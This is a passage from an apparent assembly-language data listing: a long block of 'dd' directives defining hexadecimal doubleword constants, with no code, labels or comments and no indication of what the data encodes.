0B7214B9Dh, 12E74C18h, 74B3124Eh, 8B519005h, 87C6C5F8h dd 58568907h, 890326DCh, 1AA9259Dh, 70E75B57h, 180462C4h dd 0DC0FB0BFh, 1F158EC1h, 0AD9D6800h, 8E11F23Fh, 0B2E3D41Ch dd 3E6287B0h, 3258EDAEh, 78B684C0h, 0A45F0A16h, 23EB6D34h dd 6B805FC8h, 0EF2CDA33h, 5B969530h, 4BE36BBFh, 4EDA4D63h dd 0E972D044h, 39B901C0h, 26654625h, 0CF358F0Fh, 0BB88EF40h dd 1A25A51Bh, 0B1736659h, 6A3D80D0h, 0F1C6E5A4h, 8A7B0509h dd 508489FEh, 0C36F9F4Dh, 700F1440h, 469A95FCh, 2C003E71h dd 88E52EA7h, 17640045h, 6B3423CFh, 0B6267977h, 882685FCh dd 96F81D16h, 85799AD2h, 0C8D29397h, 0F76D770Ch, 0F6580200h dd 2284B13h, 5F931CD4h, 0D2C856FBh, 41F13C5Bh, 3F0446E5h dd 0B680729Bh, 324B2D08h, 116F1809h, 96BF0365h, 4FAFDFCh dd 0AD14B2D5h, 896E5B6Bh, 92B9B30Bh, 0A79C99A8h, 0AD274A04h dd 68FCC089h, 4A645BA3h, 50ED8D29h, 7B585C7Eh, 6DB5F9FBh dd 35854AFEh, 0C902087Eh, 95090257h, 0DDEFA9F5h, 0F3B7AD01h dd 0E23CCD50h, 9D088B5Eh, 800F0A16h, 0B2592522h, 0FAAB2A00h dd 1DDCE77Bh, 3CF2C10Eh, 0A0D52482h, 0C0DD12CFh, 4E19BD2Ch dd 2F63A732h, 7AA07560h, 9CD4A839h, 0CA1BC200h, 0B9F7247Dh dd 0B130B4Eh, 0C5A4A595h, 8860FF58h, 8120E1B5h, 6C6DC661h dd 0BECC25E7h, 7B732F8Ah, 9D702D7Eh, 6A124155h, 57208482h dd 441A8C47h, 985933h, 6FF23215h, 7F00BB2Bh, 3A219484h dd 4EE93123h, 0D36EDE48h, 79735FAh, 0A6DD728Ch, 2B98AE18h dd 0DFEAF1B5h, 0F4D6852Ch, 8CA601BAh, 7195463Eh, 3D6020C8h dd 9D0BE90Eh, 90B3126Dh, 0F733048Eh, 96A4A28Dh, 3DB25FBh dd 0CF4A17Ch, 9FF7DAABh, 1A95D668h, 0FDBF82D1h, 0BEC5D704h dd 28EE170h, 0F8B072A2h, 3A5F85B2h, 50FC5BD5h, 1213A469h dd 28A2E557h, 4A02CB5Bh, 5E94D381h, 0C8EC9A2Fh, 9ACAC01Ch dd 0A71D2E59h, 8C07C70h, 8E32B8BBh, 0EFCE9772h, 5B60EF8Dh dd 9C01BD0Bh, 0EC961271h, 46EDC327h, 7D1F989Ah, 677E00E7h dd 0A88463F8h, 4F241179h, 8205CCBBh, 18E05B6Ch, 61B92D57h dd 0FA81D4DCh, 0D59D2396h, 0DC2BA54h, 0B72578E1h, 1A649A4Dh dd 53517A60h, 42A68535h, 0A66275BEh, 0B84DA0E1h, 431300CEh dd 2391E3A5h, 81724BBh, 2AA9639Eh, 0B8181DC4h, 7AADB423h dd 0FE050DA8h, 78E60903h, 39B53F80h, 61F88020h, 2927BB04h dd 31B8570Eh, 319D85DDh, 7A2DFE14h, 138C6A6Fh, 60D0C162h dd 4EB18D31h, 0C737F81Ch, 7EEB259Dh, 0EE53CB69h, 3E381951h dd 0FDB69312h, 229AD625h, 0B89AC81h, 35043E91h, 971D2D79h dd 611AA49Dh, 0B485F395h, 134AD1Eh, 3F96CF81h, 0D82E16F3h dd 0D52F8D91h, 56193923h, 0DAC3042Bh, 0D96E925Bh, 64BF95E8h dd 156BD271h, 423D7D49h, 0E31FB385h, 0BBB584BEh, 1623C86Bh dd 89EDB407h, 6936E3E1h, 282B9461h, 81881257h, 553300CBh dd 0D88B0DDDh, 0DC07BF96h, 506DBA10h, 0FD0CB772h, 2550AF65h dd 0EFC50473h, 0AB0B880Fh, 4C09C9Ch, 0D4F8E2A7h, 3115C1ECh dd 28702E02h, 321C22BBh, 0ED224B7Ah, 75DC145Fh, 233A9753h dd 8250A8FBh, 35D19DB5h, 6D794C00h, 975BF24Bh, 0FA2C73CDh dd 0CAD81892h, 498F002Ch, 0DDB15E3h, 0B9498501h, 9E054A57h dd 0DEAA1191h, 4FAB800Dh, 35436B9h, 0D22A40C0h, 8F25C623h dd 73237CDFh, 2E7FE9E1h, 61AB0916h, 0E6F59D70h, 55464212h dd 28FEC1EAh, 11946D6h, 0D9BFB729h, 9541968Bh, 0B805023Dh dd 11E91266h, 816E60FFh, 3E14174Dh, 94C6BFh, 5E444AAEh dd 5A2AEA3Ah, 9257C1B4h, 7E0ECD3Ch, 5DC08D9Eh, 4987B153h dd 8529EB0Eh, 310410FDh, 0BA0DC59Dh, 70807F9Fh, 0B7B0775Ch dd 8DAF8C50h, 0C427BA91h, 7CBF00BEh, 2C153A0Bh, 105997B8h dd 0FB5F2F9Fh, 5918D12Ah, 5A306EEEh, 1440C781h, 0EC290F26h dd 0AC0C711Fh, 0C0830938h dd 804D37DDh, 0AC9C53Dh, 0B707DE6Dh, 8D012C5Ah, 0B5B20494h dd 0DB42AC14h, 530DB307h, 33CDBB34h, 0BFCCDCC5h, 0F5EC00C6h dd 0BF2F5534h, 0A4330981h, 9CF95832h, 0C4DCDBBEh, 0CDEB6CE1h dd 25312830h, 0A7455322h, 0F2535689h, 52B8FBA7h, 0F8254BF7h dd 2A54DD3h, 9D292F24h, 1A552A59h, 0D470564Ah, 85892D14h dd 0E8A792FEh, 0A055E696h, 58A4D7FDh, 0F1389CB0h, 23F6A40h dd 0D7DB2F80h, 6C2DD79Fh, 0B70A00E9h, 4B31CEE6h, 36F28FC6h dd 5925CAB3h, 29E9893Dh, 3F901C5Fh, 6FCA0C7Bh, 109601F8h dd 816BFCDEh, 23907DCh, 0BD03471Ah, 876F0FA5h, 0CDBE7460h dd 0A27252Fh, 0F6AB6F53h, 80D1FF72h, 7DD9642Fh, 0A2670FBAh dd 0B9438C91h, 75985CB2h, 9904B80Eh, 0BF31DA95h, 0AFB1CE97h dd 0AD235150h, 0C013FC1Dh, 0F03C6F4Dh, 42185C6Dh, 81305B0Dh dd 8FFE25F3h, 9F9037CCh, 0C72B6925h, 0A47B2D15h, 3039950h dd 73BA1B92h, 0BECD3C50h, 0B29DE863h, 8D09101Fh, 240D258Ch dd 33F476D4h, 0BE98203h, 84D8ADB4h, 500B0139h, 1400A0D9h dd 8543E2Ah, 0FE0900EBh, 3A90A9E7h, 5B2F572Ch, 0EDB402B0h dd 70E60221h, 0D1F39BDDh, 6A705371h, 5F02F9BDh, 29BF056h dd 3D1E126Fh, 0C096A822h, 0FFBBD781h, 131A9FBAh, 5676ABD5h dd 0D31190Ch, 8E202BC1h, 5BE367h, 1BD83412h, 6B2B7F68h dd 4766FC00h, 9DE1649Fh, 420A6275h, 5B0429C9h, 0BB0F0407h dd 9F25F36Ch, 0DD16C2C5h, 0C82BE9C0h, 0F16F9DA0h, 8B3E2FF6h dd 0B64A05D1h, 0B2FF1F47h, 1BB25ACCh, 6C210E00h, 0AA25D20Ch dd 917790B5h, 0A5E5059Dh, 27DE9D5h, 10B1BD72h, 1D53050Bh dd 14168B56h, 5032AEECh, 0D9AB2518h, 0BDC921DFh, 392E31C5h dd 9244043Ah, 0E9023065h, 0E1AB9844h, 0DE45951Eh, 0AE038F08h dd 216425DCh, 1CBB2644h, 53203F8Fh, 0B512AE09h, 929226B2h dd 60A19529h, 2E225985h, 41D71C28h, 0F8F73A86h, 42575125h dd 5EEDFF60h, 6964A7C0h, 292617AEh, 9853FABDh, 23696BBAh dd 6185021Ah, 340EC22h, 85EB9F3h, 509C30Bh, 25BE0146h dd 0F89087F2h, 0CBBC5392h, 0AAF65BCFh, 0BA390E6Eh, 17E0B312h dd 0E8BC9466h, 1BA2D23Ch, 1A891662h, 974FCCD7h, 5787ED82h dd 91E33FDFh, 43AD8018h, 0BD7539DFh, 0B75DD50Bh, 415F0230h dd 315CCC80h, 0D0BDF32Dh, 0A8120216h, 0E1028C77h, 793A5D3Eh dd 2789AF2Eh, 33824459h, 1D1D75BDh, 4966022Fh, 0EFA5928h dd 55E06B26h, 1FB3F382h, 4A1E1497h, 0ED05A96Eh, 2752F06Fh dd 2A470B09h, 0F92A056Fh, 23186AEAh, 32020118h, 86AD6849h dd 0EA73CFD4h, 0A0EF140Ah, 0DE25E7B8h, 510B12C6h, 5591BD2Bh dd 0E1FF31A1h, 86F17E23h, 2255CE6Eh, 0BB6609A7h, 0DF59E353h dd 0D704B142h, 4912B33Dh, 179FF5B2h, 0E83BE904h, 20070280h dd 0DDD13A3Fh, 0FAC2B07Fh, 4146B260h, 0F8172A1Ah, 3BE060A6h dd 2814537Eh, 9BA5D2Ch, 702A11DBh, 5060151Dh, 0A25BC05Fh dd 1941CF4h, 96A4B725h, 46B3442Eh, 2D9B2D3h, 311BDF55h dd 3BD3C00Eh, 850F2C7Ch, 6B16E18Bh, 4EF63A5Bh, 0BE5D4A76h dd 20AF2F74h, 0EBDC3237h, 25694D00h, 76D8A93Fh, 3F70ACDh dd 979FAD9Dh, 0ED56FE90h, 0B1E1F3F6h, 656AF88Fh, 0A3159B07h dd 7B793768h, 0A5D78CFh, 0D1DBB901h, 4C0E010Ch, 89D5C17Ah dd 54387F2Bh, 39A4A650h, 5C7006A6h, 0C60BECA8h, 4D86B389h dd 8D926D8Bh, 81A360EFh, 43523B78h, 0B75825D8h, 91EE0CEEh dd 0CCB7FE58h, 22BF1330h, 4F4E303Ch, 1614AF1Fh, 5FDDE607h dd 0FBECB7FDh, 458A3800h, 0E5E9736Eh, 0F4BB9601h, 92C12E0Bh dd 400454A1h, 449CD61Ch, 0E08D3800h, 4E8720FFh, 83B62511h dd 2A0033C4h, 2E301A78h, 0FC8DAD98h, 31DA0BD7h, 0E13585h dd 0F9B66B5Fh, 25254958h, 0DF566462h, 8DF35769h, 57310109h dd 0C8B8E0CCh, 3AEC1C4Eh, 0A01EA6B5h, 4EB11D9Ch, 0BE8AC1A9h dd 27916FE5h, 9A6FD468h, 0C01BC821h, 3C307880h, 8CD32302h dd 52BD0935h, 0E48957Dh, 2D4051B5h, 870F2F96h, 8950BD56h dd 0CAA000AAh, 719F7AF4h, 4C002A52h, 7B33BADBh, 0ED4881Eh dd 0B886BB50h, 0DB9629E5h, 0A630C0A9h, 24224D9Ah, 94F7AE0h dd 375F28F1h, 8B149158h, 65570291h, 8680016h, 0D94F1EE2h dd 3E37E88h, 55D5A3B0h, 74EB8E66h, 21F1AAC0h, 1CB4ED02h dd 0DCEB9273h, 0A6BC402Ch, 63020E6Eh, 7FB21A42h, 0A103DF5Bh dd 278221F7h, 0B6B0A4C8h, 41F41597h, 3D0FBD5Ch, 0CBA95F3Eh dd 0B206A64Ah, 0D3EC301Ch, 7910C700h, 0E0D2A969h, 599D102Bh dd 53612515h, 66770FDh, 51B1950Bh, 0C8930456h, 6175CCEBh dd 3D665B64h, 0F439A852h, 5FC0229Ah, 0BF268E3Dh, 45A4E209h dd 7A16DD10h, 0EBB72BE1h, 0E860EDA2h, 1A4ACD95h, 53ADFF95h dd 2D36E918h, 71B7830Fh, 0D5DE40AEh, 3200FF62h, 0AFF27224h dd 9BAC803h, 64E10DE2h, 25DDF371h, 0D440444Dh, 58323ECh dd 0C86A898Dh, 0AB9DBB9Bh, 6679F52Fh, 791FF0A1h, 0FE8202CEh dd 0D98AF9AAh, 5B51195Eh, 0B0F055A5h, 76C2CE27h, 32DDD289h dd 18BB8EF7h, 5F8BF3Dh, 69B529D0h, 966FBE1Ch, 0E0F1D23h dd 0D65CA028h, 5EA2EFDCh, 5268489h, 0BE155D8Ch, 0FE7E2276h dd 86C5B722h, 40964DA5h, 9B234DCh, 6001F77Dh, 0E48FB0B9h dd 9543502Dh, 5FA888F1h, 84699561h, 81627FF8h, 59C2200Fh dd 62004E46h, 74D8878Ah, 12F364A1h, 0E3E3CC28h, 0BB660466h dd 41B94F6Dh, 7762BA93h, 0A5C233DFh, 5297DD59h, 8E21C80Ah dd 42BB5B8Eh, 562FD6AFh, 22A142F1h, 0A03E6019h, 144191B0h dd 85FE996Eh, 0C9EAF3EAh, 89D2F10Bh, 7E688B8Fh, 0AE25F6FBh dd 0FB84460h, 0B28392BBh, 0ED850964h, 0F95B03A4h, 5EDA8B61h dd 0AF911164h, 0ACEEBF80h, 53B54D4Ah, 481D59B4h, 9A137948h dd 34FE06B6h, 3DA30435h, 50960508h, 0BF7840E3h, 7200AEB7h dd 59A0AF99h, 84641C94h, 2398A50Fh, 0E75BB9F7h, 1AB21AE6h dd 96F02231h, 0A54F1247h, 0AEAB84F7h, 272130CAh, 27B4F6E9h dd 0BDE8CFEh, 9634EF1Eh, 909DEFD8h, 40B580h, 0D3BBBFC9h dd 3D8287E4h, 6D3AB30Ah, 0F4A85Fh, 0B2802725h, 56432EFDh dd 0EF353B7h, 4210C19Dh, 0EF81070Ch, 6CB5A38Ch, 80E8B562h dd 8D769811h, 0BA812C5Eh, 6762563h, 4EE35F92h, 4DBD1473h dd 0D3480625h, 8A4FDD4Ah, 0BA170D3Eh, 0DD184942h, 8D31C7B8h dd 0D907DD2Dh, 962C7AAh, 0F4BBD4h, 0C4F1D7A0h, 0F47D629h dd 0D4C77C95h, 8E11670h, 0E7F125D8h, 1E401BFCh, 0FEA4968Ch dd 9DA1001Fh, 0A5D573B5h, 0B7A8C65Fh, 0A16F3DFh, 0C3EC7107h dd 0B36AEBF4h, 4878F85Eh, 68E61D96h, 60F3F4CBh, 2DFEB7D0h dd 0DF4DC18Bh, 553FCBC2h, 1C911CB5h, 96E06E81h, 0BF4FC90h dd 101AD227h, 40DE333h, 9CC50EB8h, 4DD7FB90h, 55F5692h dd 78E2FFCFh, 841C1700h, 6C31FD3h, 501F970h, 8F4E7DC4h dd 0AB2E83BBh, 61585521h, 0B569026Ah, 0E5410C5h, 0B917BEC0h dd 99F600AEh, 9CF85A6Bh, 0AC007286h, 2320BB1Eh, 95618417h dd 802AB7F5h, 920A2C9Fh, 0F812DFFCh, 4A66A2Bh, 1B5E87F0h dd 7F3AA675h, 0CA8E28DCh, 0E91C0E13h, 0D5C0289Bh, 60F73ADDh dd 0FB4042BEh, 820977h, 0C2CC99Fh, 8E38EF12h, 0CBB0BB04h dd 0CAC07524h, 58F7F8EEh, 0FB2DAC61h, 4D25BA56h, 3D15E0FCh dd 8B4BBE3Ch, 8D116FECh, 222F4C0Ah, 9A6CA104h, 0FA36952Bh dd 888035DBh, 127CD8FFh dd 203C3F02h, 821A8C0Fh, 29148636h, 23002AC4h, 9D0A59FEh dd 13AA650h, 35928DE2h, 625B4940h, 0FBFE34C2h, 0B030A330h dd 9F600096h, 0B922FCC7h, 7007203h, 0A0FDA4C2h, 0FC815B27h dd 3DD41251h, 3FA8E677h, 0C68525BFh, 0B7F84AA9h, 0A4AFA072h dd 82F24848h, 29075D13h, 9C220FEh, 8E382EF9h, 0B5EF976Eh dd 629C5C69h, 0E8559529h, 0F0026A57h, 0F5D295B5h, 37BF5002h dd 0A97A2889h, 0B80F18F1h, 2F4577B2h, 97CFC9Bh, 19EBBD6h dd 8D873553h, 0D6F6DCE5h, 0E9ACC609h, 0C29D7179h, 57091C18h dd 3C00C544h, 221F6C1Ah, 1F1080Ah, 6F4817B7h, 6A6141C1h dd 1126416Eh, 71B56370h, 0B31E34B8h, 0A8ED6D00h, 2E1A1648h dd 64F90BE2h, 90B0880Fh, 1425EAC3h, 64A2CD5Bh, 0CC256016h dd 79BABAEEh, 0BE3E854h, 28D5D018h, 0E4AD7E5Ch, 0CBD39D1Fh dd 0ED3A14h, 97D0ABD8h, 2E9BBBF8h, 24110C19h, 0F0C701FBh dd 2B48E1B3h, 1AE2A1E6h, 4639930h, 0C43B49B7h, 596D81DBh dd 12297202h, 0C0E21421h, 887AF794h, 0AF120BBFh, 0F6BE6E3Dh dd 40EDA4A4h, 7CE20380h, 5C018DDCh, 344EC062h, 0D17F9D09h dd 2AFF6A9Bh, 5501486Eh, 0D4F0EDE5h, 8DDD70F9h, 70460D5Ah dd 0CAF12031h, 97E326Ah, 0AF5630F9h, 80010350h, 0A520BD89h dd 0DB31326h, 4FE0FDB0h, 13BC1E3h, 16221110h, 638870E6h dd 86F3009Ah, 155702DFh, 0E4094447h, 72DE8B71h, 2BCE6FD5h dd 0C556F949h, 1C859D85h, 0C168DCAEh, 2425B0C4h, 80ACB012h dd 7C53C725h, 4DF34098h, 0C8322BD9h, 8292C03h, 236908F8h dd 0D381D180h, 114EEF39h, 278DE96Fh, 0CAA69060h, 187600FDh dd 0E8E54E73h, 0A11D4268h, 0B909106Ah, 0CAE382E3h, 69F5C61h dd 0B8494755h, 0A57BDD45h, 2B79E4F6h, 9DA49586h, 30C89826h dd 2BE9582Dh, 0C89D7D1Dh, 1F0C830h, 97377F08h, 8589B218h dd 2F735497h, 0F7520E76h, 62200865h, 28AAF883h, 0DF50A15Ch dd 0F9E85F95h, 407BC7Dh, 571C94F1h, 8A04FFF5h, 0AC24096Dh dd 21BED397h, 0F0DA316Ch, 6B00301Dh, 86D2403h, 0FFAB58Ah dd 3ED50225h, 0BF78123Eh, 15BDBC60h, 9CB9802Dh, 0BB56A5A8h dd 0F57B6913h, 9BB12F12h, 38B06E3Ah, 0C857835Fh, 90B5C27Eh dd 4AFC5D7Ah, 0FA44FA0Bh, 4EA8C02Bh, 59D63380h, 25003CB2h dd 47DA9BD4h, 0BDBA5183h, 0FC0A1EFh, 3F3D4855h, 20A51831h dd 69A9B3C7h, 63D26A80h, 5C9BA6h, 0CD8F7030h, 0B22BA876h dd 4D93E62Fh, 3B7BC917h, 0A268BB80h, 4B0D20C2h, 1CBB7B88h dd 6841164Ch, 5E6D8AD0h, 5ADDFE20h, 0A4EDE823h, 4814B620h dd 0DEC10242h, 271E80E3h, 456BFA9h, 57322DE2h, 76ADC459h dd 64A8044Ah, 99F2AB48h, 0C2E114E8h, 0F22A9111h, 0D95C0099h dd 1FF2827Ah, 550CAA28h, 3795236Ch, 9683002Fh, 9E592AC1h dd 58CAAC01h, 0F0B6BF66h, 5F15282Fh, 0F497428Ah, 4BA9A786h dd 0A17804FBh, 0E51A9721h, 84D3040h, 0A5C3D9BDh, 9C50DDD3h dd 5CA113FCh, 43FA0976h, 8AD2282h, 0EB71065Eh, 43D45FA5h dd 0FEDA4040h, 0CA5B4BB2h, 3EF100Ch, 48C18F8h, 0B974501Bh dd 0A310BC9Dh, 804D1E8Ch, 0BD6052CBh, 247AB821h, 0E08977E8h dd 4F2DEB81h, 56354D17h, 9511B0A0h, 0B3A62CF1h, 61F26225h dd 0F7C27580h, 0ED5A6966h, 0C1B017E7h, 79B0DACEh, 4A234D20h dd 7E31E6F8h, 0D88CD94Bh, 1600652h, 2332458Dh, 50F4BB07h dd 303C5F61h, 0E594D8h, 6BAFCB81h, 9ED44162h, 25451020h dd 0C17F6802h, 35D1BAD8h, 8238790Fh, 5F3F0E72h, 0F4AA1D90h dd 9CE39A00h, 34FF5483h, 0A12095D7h, 45464280h, 98DCDF9Eh dd 209C4BBDh, 0B37755DEh, 0BF2DF41Ch, 8BD5807Dh, 0EE6834E2h dd 0C82933CEh, 0AA8451C2h, 418C6D74h, 8A660489h, 0B82177A3h dd 58ECD69Ch, 5403DB80h, 0F8BF677Fh, 0EA015091h, 0C449CF14h dd 18B85B10h, 254AB3D2h, 545C6F8h, 0C16BF781h, 0FA5BC290h dd 7169415Ch, 0ED4C0034h, 2BD2E2F1h, 58777C25h, 79BD2F7Ah dd 85773DFAh, 0E3041041h, 89B2C7FAh, 84A75E73h, 34AE1AF2h dd 0A0FBB60Ah, 4EB1CAF7h, 9968FDF8h, 0C479AD74h, 0AC044612h dd 1626209Fh, 0D4810F96h, 8D08FE9Eh, 0F6BF005Bh, 5A19E580h dd 79405848h, 965C8213h, 32819A9Bh, 6EA64512h, 0A11013B7h dd 0BD230417h, 37B91DA9h, 413EA8D0h, 4FFBCF4Bh, 7381D3A1h dd 76F866BFh, 7087EF22h, 41D84B37h, 11EEB597h, 0FF318018h dd 0C4547F0Bh, 0AE21C98Eh, 20B81E74h, 90DB5609h, 1343CCF4h dd 4EAFD868h, 3BE00069h, 22589EADh, 4B0B25BDh, 0DC8A1AAAh dd 4521B2Dh, 0BFBE529Dh, 0BF067289h, 32AFB614h, 45ED900Eh dd 0E9577CE9h, 3600C064h, 0C996BB94h, 0B86501A5h, 1284E697h dd 0AC60A83Ah, 0D3A980C2h, 800B92h, 76532CB6h, 0DAFC1FE6h dd 505ACFF2h, 60288EA6h, 505EFC8Bh, 9D8DD417h, 615AD7E8h dd 2B8135E3h, 1B2D3E3Dh, 8B00E0A8h, 42B6BE8Fh, 4A92E8EFh dd 2730CA82h, 0F664DC54h, 79F0C497h, 0FE50022Ch, 85BD8968h dd 0E92F4D70h, 846BBD3Fh, 81BF6927h, 2B1B6533h, 0C9E93D8Eh dd 0C71130FEh, 0FCCA474Ah, 0A7044916h, 0B264A022h, 79160159h dd 98F9C5BBh, 34EC4B2Ah, 65AC6517h, 0F65B1E25h, 26181779h dd 40145F13h, 0F25D550Eh, 0A6D237E2h, 9C70A004h, 97B9019Eh dd 7427491Bh, 13850136h, 0E3FDC104h, 45B67BF7h, 42BB6B4h dd 6B14A879h, 89C352B8h, 6B25198Dh, 97001096h, 20F40108h dd 8F0F5062h, 780B630Eh, 0C8F6835Eh, 960BD820h, 7AA59529h dd 2DBD149Eh, 0E8A5BE2Ah, 0A6A74A68h, 0A012E64Fh, 97D8D3EFh dd 231ADDECh, 0D457599Dh, 820620C6h, 0FB4F7D9Eh, 821A3260h dd 0B05D2D52h, 582C0A40h, 64F14DB5h, 838B6214h, 0AAFDB9F0h dd 0B2F35DFEh, 0C2DB52h, 84417B8Ch, 54255F66h, 56FE983Bh dd 0F58D2A29h, 0C85F4BD0h, 7F079416h, 61AC4BA7h, 0CB999630h dd 258D71BFh, 0E2C139E3h, 0DE5CE6B7h, 56B72Dh, 0F9AAC813h dd 80162E5Ch, 0DDA9C6DFh, 0F271D989h, 0DE5C542Fh, 9D113704h dd 34AF8A0Fh, 250FE9F7h, 84E0376Ah, 0AF936933h, 1523286Bh dd 0BB75BF0Ah, 1E0EF60h, 0FA6E009Ah, 7E4A6820h, 3B120DECh dd 3CB848D8h, 8E253D10h, 525B3129h, 0E83FA9D4h, 3C80993h dd 0D41799Dh, 0A5D1EEF8h, 0F44D8C00h, 0B1D5D7h, 7AF66191h dd 0BEBCFC29h, 104CC527h, 0F21888C1h, 2FA4F6A6h, 3765BEEh dd 2A1DB584h, 0E2E06F29h, 14B3952Bh, 124098C0h, 0A524BB01h dd 7F973D3Eh, 0E4EFB3E4h, 6826126Ch, 4B26F3C0h, 5238208Ah dd 0D1CD9F70h, 0C5FFC5E4h, 0F30EAAFFh, 4D4991F2h, 760399BCh dd 94FEE49Ch, 0BDEB9A3h, 22118941h, 0D6B24E0Ah, 0DA445600h dd 67D1842Ah, 7E571502h, 575F40B7h, 0B525F265h, 4991FBBh dd 818F8623h, 5926F125h, 10302E45h, 906F781h, 0FC690248h dd 5C441179h, 95895743h, 4FEBBCDCh, 1191ECC1h, 0A046E72Bh dd 0FC475CFh, 59B099EDh, 30148CE4h, 41ECB2h, 84922217h dd 46CE7579h, 0A9862503h, 4B35BD23h, 530591A7h, 98BECB60h dd 95618944h, 0FCC1CED9h, 0E43BD6E9h, 539DC12Ah, 0EE170F4h dd 5BB36C02h, 60E9C982h, 0EB2A4BA2h, 86BC807Dh, 0C9453712h dd 8BF332FFh, 4373925Dh, 0DD10BA71h, 9F406C6Fh, 55596AFh dd 0BF2E61D9h, 0F49F276h, 806B3E2Bh, 2FDF8948h, 0D29EA299h dd 72786B10h, 808AB77Fh, 9AB237CDh, 0DA9E7F31h, 2D98A12h dd 1A042BC2h, 0F55782DAh dd 81A4886Bh, 2A6158h, 2FADD9BBh, 90387F98h, 0EB00C08Bh dd 28EC63F4h, 1D73DD01h, 8054301Dh, 7B663996h, 9F00E9F1h dd 4D8A567Fh, 6DF3B8h, 59A5A909h, 0DA6FCDFAh, 0EC7BF700h dd 4DF67C39h, 0EE6E1EF0h, 66CAC08Dh, 8B37DC43h, 63E1D0E7h dd 0A482F900h, 5A8623Dh, 985A3367h, 2100F108h, 42A48A1Fh dd 0F9CFB6Fh, 73643FD8h, 0E75EE800h, 0DC01D963h, 0D19FBC62h dd 51D82C75h, 0BD733E76h, 2B634B83h, 2900E434h, 869C3901h dd 19FD376Ah, 82762D8h, 232180F9h, 0A4049C31h, 4D7F396Ah dd 0DD16DE80h, 59A066C5h, 584F4631h, 30B20E29h, 3A302A60h dd 6A85119Ch, 80F6882Fh, 0E19C3222h, 963AE8E9h, 0DE870665h dd 0FA216BD3h, 6A645833h, 215EA406h, 84882011h, 20C6B6D9h dd 11DFC1h, 31A039FCh, 0DD472555h, 0C5095D66h, 0F9C7E21h dd 0B76888A0h, 0CA592F81h, 8A698077h, 72DDB00Ah, 488B07ADh dd 5094C528h, 74E2FC1Ah, 0AA246200h, 0DD8E9C4Fh, 188DDF1h dd 38071666h, 0BD6EF0E6h, 98180B6Ch, 3E3C8C36h, 4D5590A0h dd 0A0F199E3h, 6E29D0ADh, 6A839802h, 80F5E2FEh, 0AE5962B4h dd 5820826Fh, 7F0D430h, 8694CB00h, 0E0C44E09h, 8C92390Dh dd 8B7D0603h, 0D9E838E7h, 0A2307623h, 99E8A8E9h, 94D51D37h dd 0AD8900E4h, 0EF62EB4Eh, 0FF6B4100h, 756D35CEh, 0C7DA00ACh dd 819588DCh, 0D73DB39Eh, 0CC078A4Ch, 6C00D07Dh, 0B89F215Ah dd 0F211011Fh, 0A786E002h, 0F881EC73h, 0BDF2427Fh, 0B27DF300h dd 13DA5838h, 0C2700F0h, 0C77009EEh, 0E900927Ah, 793C61D1h dd 7C5CD414h, 41770385h, 94AB0F7Dh, 15269CD8h, 292A2C0Eh dd 3F4AE05Ah, 7A6F475h, 62F99CCh, 14BCF019h, 34E285C3h dd 235EE100h, 18E7AC6Ch, 657B031Ah, 54BB0368h, 4CC1A09Fh dd 0DF00CE01h, 0DAE9EF58h, 1D1A2D88h, 1E3D7F81h, 0F3BA3B6Eh dd 0D3BAD20Fh, 0C53AACE0h, 0DA0174C6h, 0AA89EF41h, 18808C67h dd 0E278E98Fh, 0A8986971h, 1E649348h, 0D037619h, 690F7B2h dd 13631A28h, 0C2006156h, 6674B097h, 1BBE17h, 0B78226BAh dd 0E353CA3Ah, 4A367603h, 0CC16693h, 69EC3D30h, 84D628h dd 2E2913E1h, 190D9345h, 529BF918h, 1A7D9578h, 0D147EA09h dd 7E461C18h, 0D4819C6h, 215606C0h, 98586973h, 8906AA42h dd 0C08B47CAh, 942A951Ah, 115C1521h, 0E7C700F4h, 0C0C10EB4h dd 9FC83F22h, 73987D38h, 0AE1A2070h, 2705148h, 67BA996Eh dd 25FE6153h, 18F215C4h, 0B1764512h, 8C008F7Dh, 2A67087Bh dd 7403B8E7h, 10CE0CCAh, 4551685Dh, 81318D60h, 7CEFC860h dd 0EB09008Ah, 531974BCh, 52034025h, 0D0551B6h, 4878222Eh dd 2A2D8D00h, 0D7B5F917h, 0A016507Fh, 8F2444B2h, 2231E114h dd 2AC00098h, 28E08C25h, 0B72D0049h, 0D86B2B3Fh, 0F4EB9585h dd 0E9300906h, 0AA1B79BEh, 248150F1h, 84758812h, 0C8E49550h dd 1B18527Ch, 0C6102F77h, 8CAD078Fh, 0C2E51759h, 0B0800ACAh dd 0D133A144h, 82F7BA14h, 0B75E14D0h, 0E1127B80h, 4181D2Fh dd 829E1F20h, 933D3CA0h, 3C6A57F1h, 43086420h, 388C0A70h dd 88FB08F8h, 5E6EEC01h, 39BC1565h, 17CDB880h, 396CBA93h dd 8AA9B33h, 0D4210007h, 9F8ACDC0h, 0A30C3E7h, 9BDBA834h dd 0D8AAEA3Eh, 7E5B6050h, 2E8D80h, 9A4B69B5h, 853C90F3h dd 379CF200h, 9BE92FF9h, 26F807EBh, 10A0E065h, 27341E7h dd 88F78A00h, 81DFD062h, 6F760075h, 94BC810h, 0D105B727h dd 2C62A05Ch, 0AA813185h, 3083288Fh, 0F0C9F8B0h, 0D77BE200h dd 3069FC79h, 90891456h, 2860DB29h, 0CF193D92h, 15EB3E01h dd 22045A72h, 0A696E8h, 0B4F751C7h, 746FE3B9h, 0C015DD07h dd 1FC065A9h, 3D47F883h, 81980CB2h, 0DB4918C7h, 53305FF4h dd 12EC61E0h, 1F2F037h, 0E2514A89h, 0D0D7EB79h, 1D78E596h dd 0C74F8606h, 30E9995Bh, 85085DADh, 0C601CA07h, 407D58FBh dd 0C0E60E42h, 0FED99C08h, 937600F6h, 0E6DD92D7h, 0BF733C08h dd 0E76B0700h, 48A8AA2Ch, 4F8C0685h, 8C48DDBh, 0CB213860h dd 24A8AFh, 0EF4E7985h, 76F20168h, 8FF8BA19h, 0AC183E51h dd 8546A808h, 4035C49Ch, 0BEA8B1C9h, 0F7260058h, 0FEE3EC21h dd 23002DCEh, 3FD2976Eh, 0C0203EEEh, 8F37B10h, 0C24516Bh dd 6E3A1CB6h, 43F74748h, 0E4F17200h, 0C95A336Fh, 2105EB08h dd 0E43FF1Ch, 53D1D300h, 19420ABBh, 58DDE6EEh, 8C29BDE7h dd 204C2589h, 0CBA03AA1h, 0E6DE18FCh, 0BA72282Fh, 20738D37h dd 263AFE11h, 0B29018B2h, 1043F330h, 0E0917204h, 1543FB20h dd 8405D27Eh, 7DFA0600h, 2BEE6580h, 80A5B79h, 0AC4E6D64h dd 90488780h, 25E546CEh, 0FF86E82h, 0B51CD671h, 0DC808D0Fh dd 67A412Ch, 90B700F1h, 0B4513B9Ah, 8F0966Bh, 